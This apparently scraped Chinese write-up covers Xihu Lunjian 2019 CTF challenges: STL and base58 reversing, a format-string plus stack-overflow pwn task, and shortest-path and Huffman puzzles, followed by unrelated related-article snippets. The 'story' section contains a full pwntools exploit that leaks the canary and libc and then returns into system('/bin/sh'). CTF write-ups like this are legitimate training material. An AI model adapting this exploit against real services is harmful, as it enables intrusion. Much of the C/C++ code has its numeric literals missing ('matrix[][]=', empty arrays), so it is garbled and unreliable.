西湖论剑2019部分writeup
做了一天水了几道题发现自己比较菜,mfc最后也没怼出来,被自己菜哭
easycpp
c++的stl算法,先读入一个数组,再产生一个斐波拉契数列数组

main::{lambda(int)#1}::operator() 是相加函数
使用transform调用lambda(int)#1让数组从第二位到最后一位都加上第一位,然后将数组倒置

把处理后的数组与斐波拉契数组比较,若相等则输出flag,逆向求出输入即可。
testre
大部分代码没有用处,去掉混淆的代码,主要部分是这些
while ( v20 < v28 )
{
v21 = *(unsigned __int8 *)(v25input + v20);
for ( j = n - ; ; --j )
{
v10 = ;
if ( j <= v18 )
v10 = v21 != ;
if ( !v10 )
break;
v21 += v11[j] << ;
v11[j] = v21 % 0x3A;
v21 /= 0x3A;
if ( !j )
break;
}
++v20;
v18 = j;
}
整个程序就是base58的加密程序,通过谷歌特征值或者看比较字符串也不难发现是base系列算法,线上解密即可。

story
输入的地方有格式化字符串漏洞,checksec发现开启了cannary,泄露cannary的值和libc_main的地址

第二个输入的地方有栈溢出,把返回地址覆盖为system函数

因为是64位程序,所以“/bin/sh”参数要存在rdi寄存器(RDI RSI RDX RCX R8 R9)
因为上述
ROPgadget --binary story --only 'pop|ret' | grep 'rdi' #找到rop链存参数"/bin/sh"
from pwn import *
context.log_level = 'debug'
elf = ELF('./story')
# p = process('./story')
p = remote('ctf2.linkedbyx.com', 10855)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p.recvuntil("Please Tell Your ID:")
# raw_input()
p.sendline("%23$p %25$p")
p.recvuntil('Hello ')
canary = int(p.recvuntil(' '), 16)
print('canary:' + hex(canary))
__libc_start_main = int(p.recvuntil('\n'), 16)-240
print('__libc_start_main:' + hex(__libc_start_main))
libc.address = __libc_start_main - libc.symbols['__libc_start_main']
system = libc.symbols['system']
print('system:' + hex(system))
binsh = next(libc.search('/bin/sh'))
print('binsh_addr:' + hex(binsh)) p.recvuntil('Tell me the size of your story:\n')
p.sendline(str(129)) p.recvuntil('You can speak your story:')
payload = 'a'*0x88 + p64(canary) + p64(0) + p64(0x400bd3) + p64(binsh) + p64(system)
p.sendline(payload)
p.interactive()
最短路径
就是求最短路的题目,数据量很少手动也能做出来,使用 dijkstra算法算出最短路径和经过的路径。
#include<iostream>
#include<cstdio>
#include<cstring>
using namespace std;
const int INF=0x3f3f3f3f;
int matrix[][],d[],vis[],pre[],path[];
int n=; /*
'flag{' 1
'FloraPrice' 2
'E11' 3
'E9' 4
'75D}' 5
'NoraFayette' 6
'E10' 7
'E13' 8
'E12' 9
'E14' 10
'E7' 11
'E6' 12
'SylviaAvondale' 13
'MyraLiddel' 14
'HelenLloyd' 15
'KatherinaRogers' 16
'VerneSanderson' 17
'E8' 18
'FrancesAnderson' 19
'E3' 20
'DorothyMurchison' 21
'EvelynJefferson' 22
'E5' 23
'E4' 24
'E1' 25
'E2' 26
'RuthDeSand' 27
'OliviaCarleton' 28
'EleanorNye' 29
'TheresaAnderson' 30
'PearlOglethorpe' 31
'BrendaRogers' 32
'LauraMandeville' 33
'CharlotteMcDowd' 34
*/ void dijkstra(int s){
for(int i=;i<=n;i++){
d[i]=matrix[][i];
pre[i]=s;
}
memset(vis,,sizeof(vis));
for(int k=;k<=n;k++){
int v=-;
for(int i=;i<=n;i++){
if(!vis[i]&&(v==-||d[i]<d[v]))v=i;
}
vis[v]=;
for(int i=;i<=n;i++){
int tmp=d[v]+matrix[v][i];
if(tmp<d[i]){
d[i]=tmp;
pre[i]=v;
}
}
}
}
void printPath(int en){
printf("从起点到%d的路径是:\n",en);
path[]=en;
int k=;
for(int i=pre[en];i!=;i=pre[i]){
path[k++]=i;
}
printf("");
for(int i=k-;i>=;i--){
printf("->%d",path[i]);
}
printf("\n");
} int main(){
for(int i=;i<=n;i++){
for(int j=;j<=n;j++){
matrix[i][j]=;
}
}
matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=,matrix[][]=;
for(int i=;i<=n;i++){
for(int j=;j<=n;j++){
if (matrix[i][j]!=)
matrix[j][i]=matrix[i][j];
}
} dijkstra();
printPath();
}
哈夫曼之谜
哈夫曼编码问题,左边字符右边权重,网上找个类似问题改下代码
const int maxvalue=;
const int maxbit=;
const int maxn=;
#include "iostream"
#include "stdio.h"
#include "string.h"
#include "stdlib.h"
using namespace std;
struct haffnode
{
char ch;
int weight;
int flag;
int parent;
int leftchild;
int rightchild;
};
struct code
{
int bit[maxn];
int start;
int weight;
char ch;
};
void haffman(int weight[],char text[],int n,haffnode hafftree[])
{
int j,m1,m2,x1,x2,i;
for(i=;i< *n-;i++)
{
if(i < n)
{
hafftree[i].weight=weight[i];
hafftree[i].ch=text[i];
}
else
{
hafftree[i].weight=;
hafftree[i].ch='#';
}
hafftree[i].parent=;
hafftree[i].flag=;
hafftree[i].leftchild=-;
hafftree[i].rightchild=-;
}
for(i=;i< n-;i++)
{
m1=m2=maxvalue;
x1=x2=;
for(j=;j<n+i;j++)
{
if(hafftree[j].weight<m1&&hafftree[j].flag==)
{
m2=m1;
x2=x1;
m1=hafftree[j].weight;
x1=j;
}
else if(hafftree[j].weight< m2&&hafftree[j].flag==)
{
m2=hafftree[j].weight; x2=j;
}
}
hafftree[x1].parent=n+i;
hafftree[x2].parent=n+i;
hafftree[x1].flag=;
hafftree[x2].flag=;
hafftree[n+i].weight=hafftree[x1].weight+hafftree[x2].weight;
hafftree[n+i].leftchild=x1; hafftree[n+i].rightchild=x2;
}
}
void haffmancode(haffnode hafftree[],int n,code haffcode[])
{
code cd; int i,j; int child,parent;
for( i=;i< n;i++)
{
cd.start=n-;
cd.weight=hafftree[i].weight;
cd.ch=hafftree[i].ch;
child=i;
parent=hafftree[child].parent;
while(parent!=)
{
if(hafftree[parent].leftchild==child)
cd.bit[cd.start]=;
else cd.bit[cd.start]=;
cd.start--;
child=parent;
parent=hafftree[child].parent;
}
for(j=cd.start+;j<n;j++)
haffcode[i].bit[j]=cd.bit[j];
haffcode[i].start=cd.start;
haffcode[i].weight=cd.weight;
haffcode[i].ch=cd.ch;
}
}
void ccode(haffnode hafftree[],int n)
{
int i,j=,m=*n-;
char b[maxn];
memset(b,'\0',sizeof(b));
i=m-;
scanf("%s",b);
while(b[j]!='\0')
{
if(b[j]=='')
i=hafftree[i].leftchild;
else
i=hafftree[i].rightchild;
if(hafftree[i].leftchild==-)
{
printf("%c",hafftree[i].ch);
i=m-;
}
j++;
}
}
int main( )
{
int n=;
int weight[]={, , , , ,,,,};
char text[]={'a','','{','f','g','','d','}','l'};
haffnode myhafftree[maxvalue];
code myhaffcode[maxvalue];
haffman(weight,text,n,myhafftree);
haffmancode(myhafftree,n,myhaffcode);
ccode(myhafftree,n);
return ;
}
输出flag

西湖论剑2019部分writeup的更多相关文章
- 西湖论剑2019复现-Web之首家线上赌场上线啦
首页打开 经过测试发现name和code参数可控,但尝试注入没有发现注入点,于是直接扫描目录找思路 一扫描,果然有问题 目录扫描里面可以看到有一个/.DS_Store的文件,DS_Store是Mac ...
- 西湖论剑2019--一道MISC题目的解题思路
TTL题的writeup 第一次打西湖论剑,啥都不懂,被题目虐的很惨,一共就做出来两道题,但也算有收获.这里分享一下TTL那道misc题目的writeup,算是给自己点安慰吧. 题目描述 我们截获了一 ...
- CTF西湖论剑
一,西湖论剑 itoa()函数有3个参数:第一个参数是要转换的数字,第二个参数是要写入转换结果的目标字符串,第三个参数是转移数字时所用 的基数.在上例中,转换基数为10.10:十进制:2:二进制... ...
- 2019_西湖论剑_预选赛 testre
2019_西湖论剑_预选赛 testre 程序中关键操作是比较ptr,其中夹杂的一部分v26计算是为了混淆我们的分析.那么我们只要跟踪ptr数组的生成便可,向上发现v11,加密操作数组. 接下来跟踪v ...
- 2019西湖论剑网络安全技能大赛(大学生组)部分WriteUp
这次比赛是我参加以来成绩最好的一次,这离不开我们的小团队中任何一个人的努力,熬了一整天才答完题,差点饿死在工作室(门卫大爷出去散步,把大门锁了出不去,还好学弟提了几个盒饭用网线从窗户钓上来才吃到了午饭 ...
- 2019西湖论剑web wp
发在正文前 这应该是自己在安全圈摸爬滚打两年多以来第一次正规的ctf比赛.没解出flag,没截图,只提供了一些思路. 遥想往昔,初入大学,带着对PT的向往,一个人穿行在幽暗的图书馆,翻阅啃读一本本安全 ...
- 2019西湖论剑网络安全技能大赛(大学生组)--奇怪的TTL字段(补充)
鉴于有人不会将得到的16进制数据在winhex中转成图片,我在这里写一个详细的步骤. 首先就是将六张图片的十六进制数据找出并提取出来. 打开winhex,新建一个文档. 大小可以选1bytes 将数据 ...
- 西湖论剑2019-msc之奇怪的TTL
msc1给了一串很长的TTL字符,参考一些隐写的文章,猜测是在ttl中藏了信息,题目是这样的 我们截获了一些IP数据报,发现报文头中的TTL值特别可疑,怀疑是通信方嵌入了数据到TTL,我们将这些TTL ...
- 安恒西湖论剑线下上午CTF部分题目WP
简单的做了两个题,一道逆向,一道misc,其他题目,因为博主上课,时间不太够,复现时间也只有一天,后面的会慢慢补上 先说RE1,一道很简单的win32逆向,跟踪主函数,R或者TAB按几下, 根据esp ...
随机推荐
- sh make.sh fatal error: opencv2/opencv.hpp: No such file or directory
问题: sh make.sh fatal error: opencv2/opencv.hpp: No such file or directory 解决: sudo apt-get install l ...
- IPC五种通讯方式
IPC五种通讯方式 1.管道:速度慢,容量有限,只有父子进程能通讯 2.FIFO:任何进程间都能通讯,但速度慢 3.消息队列:容量受到系统限制,且要注意第一次读的时候,要考虑上一次没有读完数据的问题 ...
- pip报错:解决pkg_resources.DistributionNotFound: The 'pip==7.1.0' distribution was not found and is required by the application
如果pip安装后提示依然没有pip命令,需在在添加环境变量 # vim /etc/profile 在文档最后,添加: export PATH="/usr/local/python2.7/bi ...
- uniq cut wc 命令详解
uniq uniq命令可以去除排序过的文件中的重复行,因此uniq经常和sort合用.也就是说,为了使uniq起作用,所有的重复行必须是相邻的. uniq语法 [root@www ~]# uniq [ ...
- Java8-Lambda-No.01
import java.util.Arrays; import java.util.Collections; import java.util.Comparator; import java.util ...
- Spring Boot常用的注解
@SpringBootApplication:包含@Configuration.@EnableAutoConfiguration.@ComponentScan通常用在主类上.由于大量项目都会在主要的配 ...
- 用Qt 画一个心形
MainWindow.h #ifndef MAINWINDOW_H #define MAINWINDOW_H #include <QMainWindow> #include <QTi ...
- python自动华 (一)
Python自动化 [第一篇]:Python简介和入门 Python简介: 一.什么是python Python是一门动态解释性的强类型定义语言. pythonde 特点:“优雅”.“明确”.“简单” ...
- <input type="file"> accept属性筛选文件类型
如果你不希望用户上传任何类型的文件, 你可以使用 input 的 accept 属性. 设置支持 .doc / .docx / .xls / .xlsx / .pdf 格式: <input ty ...
- 005_linux驱动之_class_device_create函数
(一)解析class_device_create函数 (二)当我们使用class_create创建一个类之后我们就可以使用class_device_create函数在这个类下面创建一个设备了,cl ...